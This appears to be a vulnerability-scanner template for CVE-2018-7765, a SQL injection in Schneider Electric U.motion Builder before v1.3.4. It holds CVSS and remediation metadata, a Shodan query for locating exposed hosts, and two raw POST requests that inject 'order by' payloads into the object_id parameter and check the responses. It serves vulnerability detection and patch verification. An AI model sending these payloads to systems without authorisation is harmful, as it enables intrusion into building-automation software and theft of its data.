The vulnerability exists within processing of track_import_export.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. The underlying SQLite database query is subject to SQL injection on the object_id input parameter.
PoC
id: CVE-2018-7765
info:
name: Schneider Electric U.motion Builder - SQL Injection
author: daffainfo
severity: high
description: |
The vulnerability exists within processing of track_import_export.php in Schneider Electric U.motion Builder software versions prior to v1.3.4. The underlying SQLite database query is subject to SQL injection on the object_id input parameter.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
remediation: |
Update to version v1.3.4 or later.
reference:
- http://seclists.org/fulldisclosure/2019/May/26
- https://www.schneider-electric.com/en/download/document/SEVD-2018-095-01/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2018-7765
cwe-id: CWE-89
epss-score: 0.02917
epss-percentile: 0.8633
cpe: cpe:2.3:a:schneider-electric:u.motion_builder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-requests: 2
vendor: schneider-electric
product: u.motion_builder
shodan-query: http.headers_hash:1985490094
tags: cve,cve2018,schneider-electric,sqli,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /umotion/modules/reporting/track_import_export.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
op=export&language=english&interval=1&object_id=1' order by 1-- -
matchers:
- type: dsl
dsl:
- "contains_all(body, 'Object', 'Period') && !contains(body,'Invalid argument supplied for foreach')"
- "contains(content_type, 'application/octet-stream')"
- "status_code == 200"
condition: and
internal: true
- raw:
- |
POST /umotion/modules/reporting/track_import_export.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
op=export&language=english&interval=1&object_id=1' order by 2-- -
matchers:
- type: dsl
dsl:
- "contains_all(body, 'Object', 'Period', 'Invalid argument supplied for foreach')"
- "contains(content_type, 'application/octet-stream')"
- "status_code == 200"
condition: and
# digest: 4a0a00473045022100998b30d47d83ac99774320beb40014facb3b8f432eab07b4709b3d09c23b180802205f81cc6eff60237ffa2717e0d4145524e5e7748312fb81aa7aecd33be034177d:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.